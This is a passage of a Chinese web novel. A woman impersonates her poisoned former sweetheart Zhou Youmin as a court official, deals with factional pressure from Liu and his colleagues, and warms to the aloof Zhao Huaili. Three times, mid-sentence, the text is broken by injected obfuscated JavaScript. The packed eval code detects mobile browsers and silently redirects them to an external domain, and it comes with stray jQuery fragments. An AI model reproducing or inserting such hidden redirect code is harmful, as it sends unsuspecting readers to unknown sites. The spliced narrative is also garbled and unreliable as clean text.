“顾兄慎言。”李郎上来做和事佬，劝道，“两个男人为了区区一个女子大打出手，这成何体统！更何况，婉清还是周兄刚过门的亡妻。于情于理，这都不合适啊！” 他意识到唤我名字时说漏了嘴，连忙改口道：“若是周夫人泉下有知，恐怕也会良心不安呐！” 我揉了揉太阳穴，在心里吐了口唾沫。这些男人，怎么一个一个的，都喜欢代替死人发声。周夫人没有良心不安，我良心安得很。 为了把众人的注意力拉回来，我大声咳嗽了几声，摇摇晃晃地站起身来。 刘郎装模作样过来扶我：“周弟，你嘴唇苍白，莫非是身体不适？” 我顺坡下驴，掏出手帕，捂着嘴继续咳：“没……没关系，大夫说只是积劳过度……忧思成疾罢了。” 说罢，我摊开白色的手帕，故意露出上面早已动过手脚的血渍。 李郎大惊：“这、这都吐血了。周弟你还是好好养病吧。” 这场吊唁仪式草草收场。次日我便以生病服丧为由，向朝廷请了半月有余的病假。 这半月里，我废寝忘食拼命补习，看完了书房里所有的案牍。 我摸清礼部的事务，背熟规章礼制，暗中遣人调查朝廷各派的势力，并将他们的姓名画像牢记于心。 幸好周郎口无遮拦，没有亲近的友人。我不用花太多功夫调查他的人际关系，也不用疲于处理多余的应酬。 我曾在名册中事无巨细地记载各个相好竹马的习惯，再加上我熟悉周郎的秉性喜好，模仿他日常的言行举止完全不成问题。 唯一需要注意的就是，周郎是个左撇子。 我下了一番苦工，日夜临摹他的书法，终于用左手写出了一模一样的字迹。 千万不要小瞧我对荣华富贵的渴望。为了守住这个身份，我决定将自己彻底变成周佑民。 13 很快我的病假结束了。哪怕我的内心再不情愿，还是得硬着头皮回去任职。 至今为止，我仍然不知道杀死周郎的人是谁，我害怕自己引火上身被人杀死，又舍不掉这当官的身份。 敌在明，我在暗。这是一场较量，看谁先沉不住气。此人希望周郎死，可我偏要往上爬。我倒要看看，到底鹿死谁手。 上朝当日，寅时三刻。我提前起了个大早，先去礼部转了一圈，打算熟悉位置布局以后，再前往正殿上朝。 此时天光未亮，入目之处皆是灰蒙蒙一片。我途经藏书阁，却见窗牖内隐隐透出暖光。 莫非里面有人？ 我心中升起几分好奇，索性调转步伐，走进去一瞧究竟。 只见一个玉面郎君端坐在案前，眉头微微皱起，摊开泛黄的典籍。他低头垂眸，在白纸上笔走龙蛇，执笔抄写书卷的内容。 有匪君子，如切如磋，如琢如磨。其容貌端正，气质颇为沉稳，隐隐带着一股清冷之气。 看起来莫名有些眼熟。 我在脑海里回忆了一圈，才想起这人曾在名册画像里出现过，是我的同僚，名叫赵怀礼。 他本人比画像俊了好几分，害得我差点认不出来。 赵怀礼出身名门望族，跟我同为礼部主事，年龄相仿官阶相同。只是他为人清高孤傲，非但跟周郎毫无交情，就连同僚都少有私交。 没想到这样的冷君子，对经书倒是热心肠。竟然天不见亮，就在此伏案苦读。 若我的竹马们有他一半争气，清河县恐怕又能多出几位状元。 我不由得心生钦佩，便学着周郎往日的语气，上前搭话道：“赵兄知礼守节、循规蹈矩，就连字迹都如此方正，小弟我当真佩服。” 赵怀礼抬起头，眼底先是闪过一丝惊讶，而后满是警惕，最后带着几分鄙夷，问道：“周佑民，你是在嘲讽我吗？我再循规蹈矩，也好过你肆意妄为，赌场潇洒来得好吧。” 说罢他冷哼一声，合上了面前的书卷，起身朝屋外走去：“道不同不相为谋，我没有什么话可跟你说，不要跟我套近乎。” 啧，如此心高气傲之人，谁会热脸贴冷屁股？他不搭理我，我还不稀罕他呢。 原本心中尚存的半分好感，立刻就烟消云散。 我背着手，大步跨出藏书阁。此时天光乍破，晨曦初现，是时候去上朝了。 赵怀礼回过头，恼道：“你为何跟着我？” “没有啊，赵兄何必自作多情。”我嗤笑了一声，回怼道，“从藏书阁到正殿，只有这一条路可走。你是去上朝，我也是去上朝。想要道不同不相为谋，赵兄恐怕只能飞着走喽！” “你！”赵怀礼瞪了我一眼，半天憋不出骂人的话，只能嘟囔道，“巧言令色。” 不愧是书生，连骂人都如此高雅。 我在内心挖苦了几句，加快步伐超过了他，昂首跨步朝正殿走去。 14 钟声响起，宫门缓缓开启。 百官鱼贯而入，我跟在最后头。趁着众人站位，我连忙扫了一眼满朝文武，里头有不少我的旧相识。 我的那些竹马们，虽都是在朝为官，但身份高低不同。有人如鱼得水，有人泥泞挣扎。 其中混得最好的，当属张郎，张知节。 他娶了丞相的独女，一跃成为丞相的女婿，格外受到器重，不久便升为了礼部尚书。官阶越高，站位越靠前，现如今张知节就站在第二排。 处于中间位置的我，只能远远看到他的背影。 金銮殿上，烛火通明。香炉飘起袅袅轻烟，周遭弥漫着一股似有似无的淡香。我吸了吸鼻子，总觉得这气味莫名有些熟悉。 我还没来得及细想，便见皇帝抬起食指，不轻不重地敲打了几下龙椅。身旁的太监收到指示，立刻扬起脖子，尖着嗓子喊道：“有事启奏，无事退朝——” “臣有事启奏。”其中一位朝臣出列，弯腰禀报道，“陈侍郎年事已高，前日乞骸骨归乡，如今礼部侍郎之位悬空，还请圣上定夺。” “就这点小事，还需要拿到朕的面前来谈。朕养你们这些人，难道是养来吃闲饭的吗？” 我悄悄抬起头，观察着宝座之上的男人。他虽然正值壮年，容貌也算是俊朗，但眼窝深陷，瞳孔浑浊无神，满脸的不耐之色。一看就是纵欲过度、沉迷声色犬马的昏君。 “这些琐事，王丞相会看着处理，不要拿来耽误朕的时间。” 昏君打了个哈欠，神情有些郁郁。他目光阴鸷地盯着底下的朝臣，问道：“还有什么事吗？” “这……”朝臣连忙低下了头，不敢继续吭声。 满朝文武无人出言，谁也不敢冒着掉脑袋的风险，去惹皇帝不高兴。 昏君似乎很满意这副场景。他随意摆了摆黄袍衣袖，宣布道：“既然无事，那便退朝罢。” 早朝便在这压抑的气氛中潦草收场，我甚至能隐约听见贤臣们的几声叹息。 只不过任他们再怎么折腾，这股忧国忧民之情，也未能传达至昏君那里。 一是他们不敢，二是昏君不愿。 昏君对所有抱怨充耳不闻。他带着主管太监，脚步生风离开了大殿，奔赴脂粉正浓的后宫。 待他离去后，才有大臣敢小声嘀咕：“陛下沉迷酒色，都怪那些庸俗宫妇。要不是她们故意引诱，陛下何至于无心早朝？” 我暗自皱了皱眉头,这些个懦弱无能之辈，不敢明着指责皇帝，只会把过错推卸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560168|171380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到女人身上。 世上哪来的那么多红颜祸水，都是男人的借口罢了。 15 早朝结束，群臣三三两两散去，互相攀谈着今日的见闻。 我本想找礼部的同僚寒暄几句，没想到他们对我的态度，都跟赵怀礼别无一二，对我唯恐避之不及。 更有甚者对我直呼其名，挥了挥衣袍，像是在驱赶路边的野狗：“周佑民，我可没有多余的银子借给你，你找别人去罢。” 我沉默了半晌，没想到周郎的名声已经烂到这种地步。一旦靠近，就会被当成借钱的赌鬼。 为了不让人看出问题，我很快挤出笑脸，摆出周郎常用的做派，没皮没脸地说道：“哎呀，我不是来借钱的，就是想谈谈政务，这都不成么？” 可惜对方并不买账：“我跟你没什么好谈的。” 我本以为当上官，就能吃穿不愁，绝无后顾之忧。没想到这当官的门道比我想的还深。 周郎品阶不高，但也算不上底层。哪怕他有些品行不端，但好歹也是个官，不应该得到如此轻慢的对待。 究其原因，估计是因为周郎出身寒门，背后又没有靠山，便混成了这副人憎狗嫌的模样。 就算是在寻常乡野，也多的是踩高拜低的小人。总是把人分为三五九等，根据地位区分对待。而京城风气更盛，可以说是有过之而无不及。 我见半天讨不着好，便息了套近乎的心思。 这时刘郎走了过来，嘴角含笑道：“周弟，听闻你最近手头不宽裕，若是急着用钱，我可以借些钱给你。” 无事献殷勤，非奸即盗。别人对我爱搭不理，刘郎却如此亲切，还主动提出帮忙，此事必定有诈。 我面上不显，打了个太极，推辞道：“多谢刘兄好意，我近日不缺银两，就不劳烦了。” “哎，咱们都是同乡，这么客气干什么。”刘郎摆了摆手，身体凑近了几分，小声问道，“上回我说的事，你考虑得怎么样了？” 我很快反应过来，他指的是朝廷站队。 政党之争，从来都是看不见的刀光剑影。站队自然不能草率，因为一不小心，我可能就会落得个万劫不复。 我仍是打哈哈：“还没想好。刘兄你知道的，重要的事，总归要多想一下嘛。” 刘郎见我始终给不出确切的答复，便面露不虞之色。他定了定神，压低了嗓门：“你知不知道，今天讨论的礼部侍郎之位，有可能落在你的头上。” 我心神一震，仔细观察他的脸色，看起来不像是在说笑。于是偏过脑袋，追问道：“刘兄这话，是什么意思？” 刘郎似乎很满意我的反应，砸吧了几下嘴，又添了一把火：“就是字面意思。陈侍郎年迈归乡，这职位空了下来，多少人垂涎欲滴。启禀陛下侍郎的人选里，就有你的名字。只要你跟对了人，升官发财指日可待啊。” 我很是心动，但仔细一想，又觉得这事没有那么简单。天上掉馅饼的好事，哪有这么美，肯定要付出一定代价。我不确定，这代价我是否承担得起。 我眯起眼睛，试探道：“若我谁也不跟呢？” “这……”刘郎愣了一下，似乎没想到我会如此谨慎。他见我不上钩，便加重了语气，威逼利诱道：“那你就等着吧，这升官发财的好事，你这辈子都轮不上了。你就只能在礼部，谋个高不成低不就的差事，干到死为止。” 许是觉得这番话有些言之过重，他又找补道：“寒门难出贵子，这话不是没有道理。我就直接跟你说吧，赵怀礼也在这次的人选里，赵家一脉都在朝廷为官，跟王丞相关系也不错。像咱们这种出身微薄之人，若不站队，哪里拼得过这些世家子？难道你还以为凭你几句酸诗，就能够打动圣上，获得侍郎的官职？” 刘郎所言不无道理。这些话若是换个人来讲，我八成就信了。只不过作为叶婉清，我很清楚刘郎的为人。 他是个无利不起早的人，断然不会费尽心机，只是好心好意劝我站队。 我若是跟了他，便是上了棋盘的棋子，很可能被利用完就丢弃。因此，在明确他的目的之前，我绝对不能贸然行事。 5. 赵怀礼 15 见我迟迟没有反应，刘郎显然不会自讨没趣。 他挥了挥衣袍，摆出一副怒其不争的模样，痛心疾首道：“周弟，我好心为你着想，还想到你如此不领情。罢了罢了，我言尽于此，你好之为之吧！” 说罢，他瞥了我一眼，佯装失望的神情，转身欲走。只是这脚步迈开，并未真的挪动。 他在故意吊我，就是在等我后悔，然后出言挽留。 都是千年的狐狸，搁我这里玩什么聊斋呢。我笑而不语，就静静地看着他演。 刘郎等了半晌，都没有等到我开口。他的脸上一会儿红一会儿青，走也不是，留也不是，看上去尴尬极了。 我不紧不慢地抬起头，清了清嗓子。 刘郎以为有希望，脸色缓和了些许。但我当然不会顺他的意。 “咦？”我面露不解，明知故问道，“刘兄不是要走么，为何还不动身，莫不是脚抽筋了？” 刘郎：“………” 他的脸上浮现出一个咬牙切齿、羞愤欲走的笑容。这回他是真的走了，并且脚步生风，仿佛有人在背后撵他似的。 “噗嗤。”我望着他的背影，没忍住笑出声来。 然而，我也没能得意多久。因为一转头我才发现，不知何时赵怀礼和张知节站在了我的身后。 我的笑容立刻僵在了脸上。我没想到会在这种情况下撞见张知节。 说出来有些丢脸，在我的所有竹马里，我曾经最看好的就是张知节。 他心思深沉，喜怒不显于行。人情世故通达，学识涵养也高。既没有周郎的轻浮，也没有顾郎的粗俗。既没有李郎的懦弱，也没有刘郎的势利眼。 非要说个缺点的话，我觉得他有点假。凡事不交心，说话总是留余地。换句话来说，就是他很虚伪。 但我不在乎他虚不虚伪。人若是能装一辈子，假的也能成为真的。 我原以为所有竹马里，他来娶我的可能性最高。因为他从不妄言，也不轻易许诺。 可惜他辜负了我的信任。 一想到这些，我的心里就很不痛快。这就好比眼前有一场豪赌，我偏偏看走了眼，还压错了宝。而这宝非但没有受损，还在别人手里过得挺好。 我心中怨气载道，脸上却不敢表现出分毫。现如今张知节是我的直属上司，我可不敢顶撞他。 成大事者不拘小节，忍一时风平浪静，退一步海阔天空。 我立刻侧身让出道路，俯身行礼道：“见过张尚书，见过赵主事。” 其实赵怀礼跟我品阶官职相同，我不行礼也没什么问题。但我不想叫人挑出什么错处，于是在问候张知节的时候，顺便捎上了他。 赵怀礼目不斜视，看起来根本没有把我放在眼里。而张知节神色如常，只是眼里多了几分琢磨的意味。 仅仅是这一眼，便看得我心惊肉跳。 我熟悉周郎的脾气，不代表就能万无一失。虽然我认识张知节，但我并不知道他私底下是如何同周郎相处的。我只能寄希望于自己打探的消息，确实符合两人的实际关系。 张知节微微颔首，云淡风轻瞥了我一眼，便跟赵怀礼并肩离去。 我暗自松了一口气。 看来我猜得不错，周郎这小虾米，再怎么蹦跶，都入不了他张知节的法眼。 待他们两人离去，我忽然觉出味来。 不对呀，我听闻赵怀礼与人寡合，从不媚上欺下，始终保持着秉公办事的态度。因此他跟张知节关系也很一般，未曾有任何纠葛，也没有好到会一起下朝的地步。 他们是如何走到一处去的？ 电光火石间，我突然想起刘郎的那番话。原本的礼部侍郎准备告老还乡，这位置正好悬空，而我和赵怀礼都在替补名单之中。 这官职任免，从来不是一个人的升降，而是两党之间的争锋。武官这边派出刘郎来搭上我的关系，文官那边的王丞相地位卓然，自然不会亲自出手，于是就派出了自己的女婿张知节。他属意的人选应当就是赵怀礼。 赵家是世家大族，祖上出过好几个大官，在朝廷根基深厚，跟如今的王丞相关系不菲。 按理来说，赵怀礼的赢面比我大得多。 如今朝廷形势复杂，两方都想往重要职位塞自己人，及时抢占先机。刘郎扶持我，估计是因为忽悠不到其他的文官。 毕竟归根到底，文人大多都看不起武夫。谁敢冒着得罪丞相的风险，去给武官一派办事呢。 想到这里，我不由得犯起了疑心病。周郎中毒，该不会是死于党争吧？ 毕竟只要除掉了周佑民，剩下的几个主事，要么资历不够，要么经验不足，都不是什么强有力的竞争人选。这礼部侍郎一职，肯定稳稳当当地落在赵怀礼的头上。 很快我又否定了这个想法。两党相争，固然激烈，但不至于闹出人命，因为他们多得是杀人不见血的法子。 无论是上书污蔑，还是暗中构陷，都比派人下毒来得妥当。后者是他人所害，前者则是咎由自取，怪不到他们头上。 若真是逼不得已派人下毒，那绝不仅仅是因为党争，肯定涉及更深的阴谋。至于是什么阴谋，目前还不得而知。 我隐隐觉得，自己无意中踏入了一条深不见底的暗河。我只知道河底蛰伏着一只恶兽，却不知是怎样的庞然大物。 既然我已以身入局，将来某日必定会上演一出龙争虎斗。 最终只能是你死我活。 16 按照祖制，应是一日一朝。但昏君做不到勤如此政爱民。他夜夜笙歌，晨起困难，便改为了三日一朝。 次日没有早朝，礼部最近并无要事，公务也不繁重，我便得了空闲，早早回了府。 家仆刚得了月钱，见我立刻喜笑颜开。他见我无所事事，便给我出主意：“近日西街那头，新开放了一处集市。大人若是在家郁闷，不妨出门散散心？” 他这话倒是点醒了我。这番我进京，总觉得头上悬着一把刀子，生怕出现纰漏暴露身份。因此日日忙得脚不沾地，从未停下来歇息片刻。 如今想来，我好像还未曾好好看一眼这京城街头的盛况。 我微微点头，背着手跨过门槛，对家仆笑道：“你倒是聪慧，知道你家大人想要什么。” 家仆明白方才那话深得我心，故意低下头，摆出一副受宠若惊的模样：“小人岂敢，只不过是跟着大人久了，脑子也跟着通透了几分。” 他这马屁拍得恰好，很讨人喜欢。我闻言，挥了挥衣袖，笑着跨过了门槛。 我原以为这家仆只是忠心，没想到还这般机灵。看来周佑民还不至于倒霉透底。 凡是在朝为官的，出行大多备有马车。可惜我如今手头拮据，只能出门步行。 如果我用从县令那里敲诈来的一笔银子，租一辆马车绝对绰绰有余。只是不到万不得已，我不想动用这笔钱。如今我处境不明，说不定以后这就成了我的救命钱。 西街熙熙攘攘，热闹非凡。小贩的吆喝声不断，扎着糖葫芦的大叔踱着步子，时不时叫卖几句，其中还夹杂着买菜大婶讨价还价的声音。 没成想在路上竟然撞见了一个意料之外的人，赵怀礼。 他的身侧站着一个稚童，看起来大约四五岁的年纪。那孩子仰头指着面前的大树，眼里噙着泪水。 我顺着他的手指看去，才发现树梢上挂着个崭新的纸鸢。 赵怀礼俯身凑到孩子耳边，轻声说了几句话，牵着他的手想要离开。孩子却死活不肯动，跟木桩子似的扎在地面，费力拖拽着赵怀礼的手。 我不自觉地走近了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560169|171380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步，总算听清了两人的对话。 赵怀礼说：“此处没有梯子，纸鸢丢了便丢了。小叔给你买个新的，好吗？” 小孩哭道：“不好，不好！别的我不要，我就要这个！” 赵怀礼只好让步：“那这样，你先跟小叔回府，我们喊人搬梯子，过来把纸鸢取下来。” 小孩一听要回家，哭得更大声：“不要，不要！呜呜呜爹娘好不容易才许我出来玩，我、我才不要回去！” 他哭着哭着，越想越伤心，便由原本的小声呜咽，转为了嚎啕大哭。 赵怀礼就手足无措地站在一旁，试图给小孩讲大道理：“君子当不以物喜，不以己悲。纸鸢不过是身外之物，堂堂好儿郎怎可为此哭泣？如今你年纪尚小，还有人看顾。等长大以后……” 小孩完全听不进他的话，只是一个劲儿地大哭，仿佛想用自己的哭声，盖过他的长篇大论。 我在旁边看笑了。 不愧是名门望族养出来的小公子，真是不食人间烟火，简直天真得可笑。 我忍不住开口道：“赵怀礼，你是读书读傻了吗？” 赵怀礼闻言，回过头来看我，下意识皱起了眉。 我学着周郎平日里吊儿郎当的语气，笑道：“正所谓一屋不扫，何以扫天下。赵兄连区区一介稚童的烦恼都无法解决，又如何解决天下百姓的烦恼呢？” 赵怀礼面无表情，只是冷声回答道：“我赵某人的家事，应当与周主事无关。” “是跟我没关系。可谁叫我天生心善，见不得孩子哭呢。” 我小步快走，跑到不远处的大叔那里，买了一个糖葫芦，而后折返回来，将其塞到了孩子手里：“喏，给你的。” 小孩不哭了，只是面带泪珠，愣愣地看着我。他盯着糖葫芦半晌，咽了咽口水，试探着伸出舌头，舔了一小口。 我小声对赵怀礼说：“小娃娃都是这样，眼泪来得快，去得也快。把注意力转移到别处，他便不闹了。” 赵怀礼听后若有所思，神情却不太赞同：“此法乍一听可行，但治标不治本。往后他若是再遇见类似的事，只会选择逃避，用其他事来搪塞。” 我扬了扬下巴，笑道：“你等着，我这就治一个本给你看看。” 说罢，我便掀起衣袍，快步走至树旁，两手抱住树干，双脚用力一瞪，三五两下爬上了树梢。 再回过头，便看见赵怀礼双唇微张，神情惊讶又茫然。 他这副模样，倒是比上回见面顺眼多了。 我忍不住嗤嗤笑了起来，树梢随着我肩膀的抽动上下摇晃，赵怀礼的脸上浮现出一丝担忧，但很快又被压了下去。 他抿了抿唇，板着脸说道：“别笑了，还不快下来，当心乐极生悲，从上头栽下来。” 我耸了耸肩，不以为然道：“我要是摔下来，头一个遭殃的就是赵兄。到时候你在下面当我的人肉垫，我也伤不着哪里。” 赵怀礼被我混不吝的态度给气笑了，他抽了抽嘴角，冷笑道：“好一个伶牙俐齿！” 我对此适应良好，甚至挥了挥手，故意摇了几下树枝：“多谢赵兄夸奖。” 赵怀礼见我在树上乱动，明显紧张了起来。我偏偏就喜欢看他这副胆战心惊的神情，逗弄起来实在是太有意思了。 我头一回感受到周郎的妙处，借着他原本的性格，我终于可以摆脱伪装的淑女模样，肆意妄为地当一个混蛋。 然而，天有不测风云。或许我真的是有些得意忘形了，紧接着树梢处就传来了一声响亮的“咔嚓”声。 我跟赵怀礼对视了一眼，原本的笑容僵在了脸上。 该死的，一定是成为周郎后伙食太好，我身体重了几分，才会出现这种情况。 我必须赶在脚下树干彻底断裂之前，转移到别的位置！ 6. 俗人 17 我当机立断转身，伸手去捞挂在不远处的纸鸢。 树下的赵怀礼急道：“你还管纸鸢作甚，还不快下来！” 我没理会他的话，只是全神贯注感受着身边的动静，手脚利索地抓着纸鸢朝树干移动。 只听得“咔咔”两声，我的身体猛地一沉，即将随着树梢往下坠落。 说时迟，那时快。我迅速起身，张开双手，纵身一跃，朝旁边俯冲而去，及时抱住了树干。 身后传来树枝下坠，摔得四分五裂的声音。 我顿时松了一口气，不由得生出几分劫后余生的感概。这老树生得挺高，要是跌下去，就算不死，也得断几根骨头。 “咳咳。”树下传来生硬的咳嗽声。 我低下头一看，只见赵怀礼双手抱胸，仰头直盯着我。虽然他面无表情，却好像在说：你看，刚才不听我的话，现在差点出事了吧？ 我有些心虚，故意扭过头看他，只是默默抱着纸鸢爬下了树。 不知道为什么，我就是不想在赵怀礼面前服软。本来他就看不起我，这已经让我够恼火了，要是再低头认错，那他得清高到何等地步。 可迎接我的并不是预想中的冷嘲热讽。 赵怀礼从袖口掏出一块手帕，递了过来：“擦一擦。” “大哥哥，你的脸沾了好多灰，看起来就像是狸花猫哈哈哈。”旁边的小孩指着我的脸，咯咯咯笑个没完。 赵怀礼敲了一下他的头，批评道：“不得无礼，别人为帮你拿纸鸢，甚至以身犯险，你应该说什么？” 小孩捂着脑门，有点委屈，但还是听话地说道：“谢谢。” 我蹲下身，保持平视的高度，将纸鸢递给过去，冲他笑道：“不用谢，既然你这么喜欢它，以后可要抓紧，不要再让风吹走了。” 小孩都喜欢亲切的人。周郎生了副好皮囊，若是去掉轻浮的姿态，笑起来也很讨人喜欢。如今我顶着他的脸，肯定也差不哪去。 小孩盯着我看了一会儿，突然有些不好意思，低头小声道：“对不起，我刚才不应该笑你。” “那我给你一个将功补过的机会。”我把手帕递给了小孩，“你帮我擦脸，这样我看起来就不像花猫了。” 说罢，我朝赵怀礼眨了眨眼。 看吧，小孩子是要这样带的，可不是说一堆大道理就能教好的。 赵怀礼对此没有任何反应，但我发现他的嘴角稍微上扬了些许。我想他应该也有几分认同我的观点，只不过碍于面子不好表露出来。 尽管如此，我也没能得意太久。 因为我很快就发现自己算错了一件事，那就是这孩子是名门贵族的小公子。他根本就不会服侍人，更别说给别人擦脸了。 手帕糊了我满脸，动作还没轻没重，不知道的还以为在受什么酷刑。再任由他继续下去，说不定我的人皮面具都要被薅下来。 “停，打住，擦得差不多了。” 我正要从孩子的手里夺过手帕，没想到赵怀礼却先一步拿起手帕，平静道：“我来吧。” 我不由得愣在原地：“啊？” 赵怀礼旁若无人，非常自然地抬起手，轻轻擦拭着我的脸颊。 他的动作很轻柔，举手投足仍带着几分贵公子的优雅，仿佛不是在帮人擦脸，而是在品茗喝茶。 我有些混乱了。 我不懂他为何会这样。在我看来，他应该不屑跟我这样出生低贱的人为伍。 哪怕金榜题名，麻雀飞上枝头变凤凰，寒门学子也始终是麻雀，比不上他这种出生在书香世家的凤凰。 如果现在这里有镜子，我想我的表情一定看起来很傻。 我很快回过神来，迅速朝后撤了一步，跟赵怀礼拉开距离。我尬笑几声，悻悻然伸出手：“这点小事，就不劳烦赵兄，我自己来就行。” 赵怀礼皱了皱眉，忽然道：“你受伤了。” 我顺着他的视线，低头望向自己的胳膊。那里划出了一道细长的小口，正朝外渗着血珠。 “嗐，我还以为是多大的事。不过是擦伤了表皮，不打紧。”我呲了呲牙，毫不在意地冲赵怀礼笑了笑。 在遇见阿婆之前，我跟着难民四处流浪。混迹在乞丐中，讨过几口饭。无论是爬树摘野果充饥，还是下河捞鱼，稍微有点跌打损伤，都是家常便饭。 跟曾经受过的苦相比，这点小伤简直不足挂齿。 显然赵怀礼不这么想。他满脸不赞同，冷声道：“你不能这样糟蹋自己的身体，我送你去医馆。” 我连忙摇头拒绝：“不用。” 要是真去了医馆，不遇见厉害的大夫，看出男女脉象的差异，那我不就遭殃了嘛。 赵怀礼却不知哪根筋搭错了，摆出一副负责到底的态度，坚持道：“你是因为我侄子受的伤，若是落下病根，便是我的过错。” 我再三推辞，他却不为所动。我正头疼着，肚子突然传来一阵咕咕声。 赵怀礼安静了片刻。 我摸了摸鼻尖，讪讪道：“我还未用午膳，好像有些饿了。” 说着说着，我意识到这是转移话题的好时机，于是挤出一个没皮没脸的笑容，改口道：“赵兄看见我这点小伤口，就责怪我糟蹋身体。若是我饿着肚子，在你眼里岂不是跟自残无异？赵兄要是真的想表达感谢，倒不如请我用膳。” 赵怀礼似是没想到我会说出这番话，他神情微顿，思考片刻后，最终做出了让步：“好。” 18 醉仙楼是京城最有名的酒楼。样式精致，味道鲜美，价格自然也十分高昂。 像我这样的身份，就算是用尽全部俸禄，也只能点上两三盘菜。但赵怀礼大手一挥，便云淡风轻地点了一桌子菜。 我看着颇为肉疼。 根本就吃不完，点这么多干嘛，钱多没处花，还不如给我呢。 这话我在心中腹诽，但不会真的说出口。 制作饭菜需要一些时间，因此先上了几盘糕点垫肚子。 我吃得津津有味，正想感叹美味。没想到小孩啃了几口，撇了撇嘴，嫌弃道：“还不如家里厨娘做的好吃呢。” 话说到这种地步，我只好把嘴边的“好吃”二字给重新咽了下去，接着默默把手里的点心放回回去。 连小公子都嫌弃的糕点，我要是表现得太过喜欢，岂不是显得没见过世面。 不吃东西，就只好聊天。我跟赵怀礼的共同话题不多，于是没话找话道：“赵兄，你对礼部侍郎的位置怎么看？” 其实我提起这个话茬，多少也有几分试探的意味。我想要知道赵家跟丞相的态度，以及他们是如何看待周佑民的。因为毒杀周佑民的幕后黑手，说不定就藏在他们之中。 赵怀礼没急着回答，只是瞥了我一眼，轻描淡写说道：“没什么看法。” 他如此避重就轻，大概是在提防我。我岂能如此轻易就放弃，于是故作无意地问道：“我听说，这礼部侍郎之位似乎有意交给赵兄，周某就在这里提前恭喜了。” 果不其然，赵怀礼听见我的话，立即皱起了眉头：“你听谁说的？” 我装作惊讶无措的模样，捂着嘴说道：“莫非我方才的话，不小心冒犯了赵兄？不过是同僚私下的流言，赵兄某要当真。” 在这种局势尚未明朗的时候，我当然不可能直接供出刘郎。多给自己留条后路也没什么不好，因此我含糊其辞说是同僚间的议论。 可能这话触着了赵怀礼的什么痛处，他露出了厌烦的神情：“不管这职位给谁，圣上都自有安排，再多议论都是无用。不管是赵家，还是别家，都是能者居上，容不下结党营私、居心叵测之人。” 听见这话，我忽然明白了他的心情。 赵怀礼从小身处优渥的环境，自然免不了听见各种议论。肯定有人嫉恨他的家世，背地里诋毁造谣，说他能有如今的地位，靠的不是真才实学，而是世家大族的身份。 我决定利用他的这种心理。 我垂下头，故意做出为难的样子，刺激道：“其实啊，有人说赵兄的身份摆在这里，这位置绝对落在你的头上，是我等不敢肖想的。” 说到这里，我又话锋一转，用欣赏的语气感叹道：“没想到赵兄如此刚正不阿，实在是令我叹服。若是这侍郎之位给了别人，赵兄应该也没有任何怨言吧？” “自然。”赵怀礼点了点头。“只要这人有能力，我便心服口服。” 确认了他的真实想法，我心中稍微松了口气。就算周郎死于党争，大概也跟赵怀礼无关。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560170|171380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我垂下双眸，轻声问出了心底埋藏已久的问题：“既然如此，赵兄又为何跟张尚书走得那么近？” 赵怀礼忽然不说话了。 我知道这个问题有些敏感冒昧，已经超出我们之间的关系范畴。 包厢内的气氛冷了下去，饭菜迟迟没有上桌，唯有无尽的沉默。 我算是个有眼力见的人，直接追问很难得到结果，自然不必继续纠缠下去。 左右也无事，我便转过头去，拿着剩下的糕点来逗小孩。我将双手背在身后，捏成拳头伸出，问道：“你猜猜看，糕点在哪只手里？” 小孩挠了挠头，纠结了一阵，不确定地回答道：“左手。” 我摊开空荡荡的手掌，笑道：“错了。” 小孩撅起嘴，不服气道：“再来。” 我收回手，再次伸出两个拳头：“选哪个？” 小孩这次改了口，回答道：“右手。” 我摊开掌心，将包好的糕点递了过去：“猜对了。” 小孩满心欢喜，捧着糕点乐个没完，高兴地吃了起来。仿佛方才还嫌弃至极的食物，现在变成了美味珍馐。 赵怀礼神情柔和了些许，他忍不住喟叹道：“你倒是会哄小孩。” “这是自然，我小时候可是村里的孩子王。小孩子都是这样，你若是直接给他，他未必就欢喜。但你若是让他争一争，拿在手里便会视若珍宝。” 我为赵怀礼添了茶水，不徐不缓地说道：“不止小孩如此，大人亦如此。赵兄对官位不屑一顾，那是因为对你而言，这官位唾手可得。你可知有多少寒门学子，为这区区一个官位，争得个头破血流。你又可知自己弃之敝履的，正是他人梦寐以求的？” 赵怀礼闻言，神情严肃了起来。他的嘴唇抿成一条直线，声音也多了几分认真：“我知道你的意思，我并非是那种会轻易说出''何不食肉糜''之类话的人。我跟张知节见面，并非是你所想的那样。那是赵家的安排，而不是我本人的意愿。我绝不会因为家族利益，就选择违背自己的本心。” 